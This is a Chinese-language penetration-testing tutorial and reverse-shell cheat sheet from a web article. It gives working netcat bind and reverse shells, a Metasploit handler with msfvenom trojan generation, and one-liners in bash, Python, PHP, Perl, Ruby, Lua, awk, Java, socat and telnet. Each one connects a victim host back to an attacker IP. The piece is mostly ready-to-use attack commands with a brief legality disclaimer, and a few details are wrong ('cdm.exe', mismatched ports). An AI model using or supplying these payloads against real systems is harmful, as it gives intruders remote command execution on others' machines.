溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

內網(wǎng)滲透中反彈shell的示例分析

發(fā)布時間:2021-12-30 18:03:35 來源:億速云 閱讀:359 作者:小新 欄目:網(wǎng)絡管理

這篇文章將為大家詳細講解有關內網(wǎng)滲透中反彈shell的示例分析,小編覺得挺實用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。

聲明:文章技術僅供網(wǎng)絡安全技術人員及白帽子使用,任何個人或組織不可用于
違法犯罪,一經(jīng)發(fā)現(xiàn)直接上報國家安全機關處理。

反彈shell

反彈shell:
在攻擊者機器獲得受害者機器的命令行。

背景:

對內網(wǎng)有更深入的理解,了解內網(wǎng)的組織結構,為了更好的進行內網(wǎng)滲透。

正向反彈shell:

目的:

利用nc正向連接目標服務器的shell,獲得目標服務器的控制權限(dmz大型靶場)

前提:

攻擊者可以訪問(連接)web服務器的目標(開放)端口,web服務器防火墻未攔截攻擊者的入站流量。適用于,能夠訪問到被控機器的開放端口。

實驗環(huán)境:

物理機(攻擊機):

目標服務器(公網(wǎng)windows):***.***.88.201:6666

網(wǎng)絡拓撲:

內網(wǎng)滲透中反彈shell的示例分析

實驗步驟:

步驟一:

主動連接被控主機shell,在被控主機上使用nc監(jiān)聽6666端口,成功反彈shell后就控制目標服務器的cmd.exe程序(只要連接到目標服務器的6666端口,就會執(zhí)行cmd.exe),結果如下圖所示:

命令:

#被控主機為Windows,使用以下命令:
nc.exe -lvp 4444 -e cdm.exe
#被控主機為linux,使用以下命令:
nc -lvp 4444 -e /bin/bash

下圖為被控主機:
內網(wǎng)滲透中反彈shell的示例分析
步驟二:

攻擊機連接目標服務器的6666端口,結果如下圖所示:

命令:

#攻擊者:
#nc -vv 被控服務器ip 4444
nc -vv ***.***.88.201 6666

下圖是攻擊者主機:
內網(wǎng)滲透中反彈shell的示例分析

反向反彈shell:

目的:

利用nc反向反彈shell到攻擊者本地,獲得目標服務器的控制權限(dmz大型靶場)

前提:

1、防火墻對web服務器(被控主機)出站流量放行。

2、攻擊者必須有一個公網(wǎng)ip。

實驗環(huán)境:

攻擊機器(公網(wǎng)kali):***.***.23.106:9999

被控機器(公網(wǎng)windows):

網(wǎng)絡拓撲:

內網(wǎng)滲透中反彈shell的示例分析

實驗步驟:

步驟一:

攻擊者外網(wǎng)vps監(jiān)聽9999端口:
攻擊者kali(公網(wǎng)ip)進行監(jiān)聽本地9999端口,被控主機反彈shellkali(公網(wǎng)ip)9999端口,結果如下圖所示:
命令:

#攻擊機器(公網(wǎng)kali):***.***.23.106:9999
nc -lvvp 9999

下圖為公網(wǎng)kali:
內網(wǎng)滲透中反彈shell的示例分析
步驟二:

把被控主機的shell反彈到攻擊者kali9999端口,如下圖所示:

命令:

#nc -e /bin/bash 攻擊者公網(wǎng)ip 9999 (反彈linux shell) 
#nc -e cmd.exe 攻擊者公網(wǎng)ip 9999(反彈windows shell)

下圖為被控主機:
內網(wǎng)滲透中反彈shell的示例分析

步驟二:

查看kali,顯示成功反彈目標服務器的shell,如下圖所示:

內網(wǎng)滲透中反彈shell的示例分析

分析:

能夠反彈成功,需要攻擊者開啟公網(wǎng)kali的監(jiān)聽端口,并讓防火墻對經(jīng)過9999端口的流量進行放行;

被攻擊者需要有攻擊者的公網(wǎng)ip,并且被攻擊者的流量能夠出來。

其他方式反彈shell:

msf反彈:
實驗環(huán)境:

攻擊機器(公網(wǎng)kali):***.***.23.106:9999

被控主機(虛擬機win8):

實驗步驟:

步驟一:

攻擊者公網(wǎng)vps監(jiān)聽9999端口:
攻擊者在公網(wǎng)kali(公網(wǎng)ip)使用msf的msfconsole進行監(jiān)聽9999端口的木馬反彈,結果如下圖所示:

命令:

#攻擊機器(公網(wǎng)kali):***.***.23.106:9999
msfconsole 
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost ***.***.23.106:9999
set lport 9999

內網(wǎng)滲透中反彈shell的示例分析內網(wǎng)滲透中反彈shell的示例分析
步驟三:

生成一個反彈木馬,并將生成的木馬上傳到被控主機(虛擬機win8)上,并進行點擊運行,使被控主機反彈shellkali(公網(wǎng)ip)9999端口,如下圖所示:

命令:

#使用msfvenom生成反彈木馬:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=***.***.23.106:9999lport=9999 -f exe -o test.exe
#這里是使用finalshell遠程連接公網(wǎng)kali的,所以使用sz命令下載剛才生成的木馬到物理機:
sz test.exe
#下面就是把下載下來的木馬文件放到被控主機(虛擬機win8)。

內網(wǎng)滲透中反彈shell的示例分析內網(wǎng)滲透中反彈shell的示例分析

內網(wǎng)滲透中反彈shell的示例分析

步驟三:

被控主機(虛擬機win8)上,點擊運行test.exe(這個木馬文件),并進行查看公網(wǎng)kali反彈情況,如下圖所示:
內網(wǎng)滲透中反彈shell的示例分析

內網(wǎng)滲透中反彈shell的示例分析

bash反彈:
實驗環(huán)境:

攻擊機器(公網(wǎng)kali):..23.106:9999

被控機器(虛擬機centos6.5):

實驗步驟:
接收端(攻擊者ip,公網(wǎng)): nc -lvvp 端口
發(fā)送端(被控主機):bash -i >& /dev/tcp/攻擊者ip(公網(wǎng))/攻擊者端口 0>&1
發(fā)送端(被控主機):0<&31-;exec 31<>/dev/tcp/攻擊者ip(公網(wǎng))/攻擊者端口; sh <&31 >&31 2>&31

步驟一:

為了保證環(huán)境的貼近實戰(zhàn),保持防火墻開啟狀態(tài)。(反彈shell有正向和反向的,我們90%都是反向反彈的shell。

正常情況下,攻擊者是無法正向連接目標服務器的;除了開啟22端口,通過ssh可以連接進來的,但是ssh我們不知道帳號密碼;我們最主要的目的是獲取目標主機的反向shell,所以防火墻可以不用關閉)。只關閉setenforce(setlinux),并查看防火墻狀態(tài),如下圖所示:

命令:

#關閉setlinux
setenforce 0
#查看防火墻狀態(tài):
service iptables status

內網(wǎng)滲透中反彈shell的示例分析

步驟二:

攻擊者外網(wǎng)vps監(jiān)聽9999端口:
攻擊者kali(公網(wǎng)ip)進行監(jiān)聽本地9999端口,被控主機反彈shellkali(公網(wǎng)ip)9999端口,結果如下圖所示:

命令:

#攻擊機器(公網(wǎng)kali):***.***.23.106:9999
nc -lvvp 9999

內網(wǎng)滲透中反彈shell的示例分析
命令:

bash -i >& /dev/tcp/***.***.23.106/9999 0>&1

步驟三:

被控機器(虛擬機centos6.5)上,使用bashshell反彈到攻擊者公網(wǎng)kali上,并進行查看公網(wǎng)kali反彈情況,如下圖所示:
內網(wǎng)滲透中反彈shell的示例分析內網(wǎng)滲透中反彈shell的示例分析

python反彈:
實驗環(huán)境:

攻擊機器(公網(wǎng)kali):***.***.23.106:9999

被控機器(虛擬機centos6.5):

實驗步驟:
接收端(攻擊者ip,公網(wǎng)): nc -lvvp 端口
發(fā)送端(被控主機):python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻擊者公網(wǎng)ip",攻擊者公網(wǎng)監(jiān)聽端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

步驟一:

攻擊者公網(wǎng)vps監(jiān)聽9999端口:
攻擊者kali(公網(wǎng)ip)進行監(jiān)聽本地9999端口,被控主機反彈shellkali(公網(wǎng)ip)9999端口,結果如下圖所示:

命令:

#攻擊機器(公網(wǎng)kali):***.***.23.106:9999
nc -lvvp 9999

內網(wǎng)滲透中反彈shell的示例分析

步驟二:

被控機器(虛擬機centos6.5)上,使用pythonshell反彈到攻擊者公網(wǎng)kali上,并進行查看公網(wǎng)kali反彈情況,如下圖所示:

命令:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("***.***.23.106",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

內網(wǎng)滲透中反彈shell的示例分析
內網(wǎng)滲透中反彈shell的示例分析

php反彈:
實驗環(huán)境:

攻擊機器(公網(wǎng)kali):***.***.23.106:9999

被控機器(虛擬機centos6.5):

實驗步驟:
接收端(攻擊者ip,公網(wǎng)): nc -lvvp端口
發(fā)送端(被控主機):bash -i >& /dev/tcp/攻擊者ip(公網(wǎng))/攻擊者端口 0>&1
發(fā)送端(被控主機):php -r '$sock=fsockopen("攻擊者ip",端口);exec("/bin/sh -i <&3 >&3 2>&3");'

步驟一:

攻擊者公網(wǎng)vps監(jiān)聽9999端口:
攻擊者kali(公網(wǎng)ip)進行監(jiān)聽本地9999端口,被控主機反彈shellkali(公網(wǎng)ip)的9999端口:

命令:

#攻擊機器(公網(wǎng)kali):***.***.23.106:9999
nc -lvvp 9999

步驟二:

被控機器(虛擬機centos6.5)上,使用phpshell反彈到攻擊者公網(wǎng)kali上,并進行查看公網(wǎng)kali反彈情況:
命令:

php -r '$sock=fsockopen("***.***.23.106",9999);exec("/bin/bash -i <&3 >&3 2>&3");'
perl反彈:
實驗環(huán)境:

攻擊機器(公網(wǎng)kali):***.***.23.106:9999

被控機器(虛擬機centos6.5):

實驗步驟:
接收端(攻擊者ip,公網(wǎng)): nc -lvvp端口
發(fā)送端:perl -e 'use Socket;$i="攻擊者ip";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

步驟一:

攻擊者公網(wǎng)vps監(jiān)聽9999端口:
攻擊者kali(公網(wǎng)ip)進行監(jiān)聽本地9999端口,被控主機反彈shellkali(公網(wǎng)ip)9999端口,結果如下圖所示:

命令:

#攻擊機器(公網(wǎng)kali):***.***.23.106:9999
nc -lvvp 9999

內網(wǎng)滲透中反彈shell的示例分析
步驟三:

被控機器(虛擬機centos6.5)上,使用bashshell反彈到攻擊者公網(wǎng)kali上,并進行查看公網(wǎng)kali反彈情況,如下圖所示:

命令:

perl -e 'use Socket;$i="***.***.23.106";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

內網(wǎng)滲透中反彈shell的示例分析
內網(wǎng)滲透中反彈shell的示例分析

linux反彈shell姿勢合集:

在目標服務器(linux)上面進行反彈shell時,可以通過以下命令,查看目標服務器上面有沒有安裝對應的程序:
命令:

#比如查看目標服務器上面有沒有安裝php服務:
rpm -q php

內網(wǎng)滲透中反彈shell的示例分析

linux反彈shell總結

1\.1發(fā)送文件\(公網(wǎng)發(fā)內網(wǎng)\)
文件發(fā)送端:nc \-lp 6666 < 文件
文件接收端:nc 發(fā)送端ip 發(fā)送端端口 \> 新文件

1\.2發(fā)送文件\(內網(wǎng)發(fā)公網(wǎng)\)
文件發(fā)送端:nc \-lp 6666 \> 文件
文件接收端:nc 發(fā)送端ip 發(fā)送端端口 < 新文件

2\.聊天
發(fā)送端:nc \-lp 6666
接收端:nc 發(fā)送端ip 發(fā)送端端口

3\.1發(fā)送shell
發(fā)送端\(公網(wǎng)服務器\):nc \-lvvp 6666 \-e /bin/bash
接收端:nc 發(fā)送端ip 發(fā)送端攻擊者ip

3\.2反彈shell
接收端:nc \-lvvp 6666
發(fā)送端\(內網(wǎng)網(wǎng)服務器\):nc 接收端ip 接收端端口 \-e /bin/bash

4\.bash反彈
接收端\(hackip\,公網(wǎng)\):nc \-lvvp 端口
發(fā)送端\(受害者\):bash \-i \>& /dev/tcp/111\.230\.170\.95/9985 0\>&1
發(fā)送端\(受害者\):0<&31\-;exec 31<\>/dev/tcp/111\.230\.170\.95/9985;sh <&31 \>&31 2\>&31

5\.1socat反彈\(tcp\)
接收端\(攻擊機\):\./socat TCP\-LISTEN:端口 \-
發(fā)送端\(靶機\):\./socat exec:'bash \-li'\,pty\,stderr\,setsid\,sigint\,sane tcp:攻擊機ip:攻擊機端口

5\.2socat反彈\(udp\)
接收端:nc \-lvvp 8080
發(fā)送端:socat udp\-connect:攻擊者ip:端口 exec:'bash \-li'\,pty\,stderr\,sane 2\>&1\>/dev/null &

6\.python反彈
接收端\(攻擊機\,外網(wǎng)\):nc \-lvvp 端口
發(fā)送端\(靶機\):python \-c 'import socket\,subprocess\,os;s=socket\.socket\(socket\.AF\_INET\,socket\.SOCK\_STREAM\);s\.connect\(\("接收端ip"\,接收端端口\)\);os\.dup2\(s\.fileno\(\)\,0\); os\.dup2\(s\.fileno\(\)\,1\); os\.dup2\(s\.fileno\(\)\,2\);p=subprocess\.call\(\["/bin/sh"\,"\-i"\]\);'

7\.PHP反彈
接收端:nc \-lvvp 端口
發(fā)送端:php \-r '$sock=fsockopen\("攻擊者ip"\,端口\);exec\("/bin/sh \-i <&3 \>&3 2\>&3"\);'

8\.JAVA反彈
接收端:nc \-lvvp 端口
發(fā)送端:
r = Runtime\.getRuntime\(\)
p = r\.exec\(\["/bin/bash"\,"\-c"\,"exec 5<\>/dev/tcp/攻擊者ip/端口;cat <&5 \| while read line; do $line 2\>&5 \>&amp5; done"\] as String\[\]\)
p\.waitFor\(\)

9\.perl反彈
接收端:nc \-lvvp 端口
發(fā)送端:
perl \-e 'use Socket;$i="攻擊者ip";$p=8080;socket\(S\,PF\_INET\,SOCK\_STREAM\,getprotobyname\("tcp"\)\);if\(connect\(S\,sockaddr\_in\($p\,inet\_aton\($i\)\)\)\)\{open\(STDIN\,"\>&S"\);open\(STDOUT\,"\>&S"\);open\(STDERR\,"\>&S"\);exec\("/bin/sh \-i"\);\};'

10\.ruby反彈
接收端:nc \-lvvp 端口
發(fā)送端:
ruby \-rsocket \-e 'exit if fork;c=TCPSocket\.new\("攻擊者ip"\,"端口"\);while\(cmd=c\.gets\);IO\.popen\(cmd\,"r"\)\{\|io\|c\.print io\.read\}end'

11\.telnet反彈
接收端:nc \-lvvp 端口
發(fā)送端:
mknod backpipe p && telnet 攻擊者ip 端口 0<backpipe \| /bin/bash 1\>backpipe

12\.lua反彈\(安裝lua環(huán)境:apt\-get install lua\*\)
接收端:nc \-lvvp 端口
發(fā)送端:lua \-e "local s=require\('socket'\);local t=assert\(s\.tcp\(\)\);t:connect\('攻擊者ip'\,端口\);while true do local r\,x=t:receive\(\);local f=assert\(io\.popen\(r\,'r'\)\);local b=assert\(f:read\('\*a'\)\);t:send\(b\);end;f:close\(\);t:close\(\);"

13\.awk反彈
接收端:nc \-lvvp 端口
發(fā)送端:awk 'BEGIN\{s="/inet/tcp/0/攻擊者ip/端口";while\(1\)\{do\{s\|&getline c;if\(c\)\{while\(\(c\|&getline\)\>0\)print $0\|&amps;close\(c\)\}\}while\(c\!="exit"\);close\(s\)\}\}'

14\.ksh反彈
接收端:nc \-lvvp 端口
發(fā)送端:ksh \-c 'ksh \>/dev/tcp/攻擊者ip/端口 2\>&1 <&1'

15\.msfvenom生成各種payload
接收端:nc \-lvvp 端口
查找payload:msfvenom \-l payload \|grep 'cmd/unix/reverse'
生成payload:msfvenom \-p cmd/unix/reverse\_模塊 lhost=接收端ip lport=接收端端口 R

關于“內網(wǎng)滲透中反彈shell的示例分析”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,使各位可以學到更多知識,如果覺得文章不錯,請把它分享出去讓更多的人看到。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內容。

AI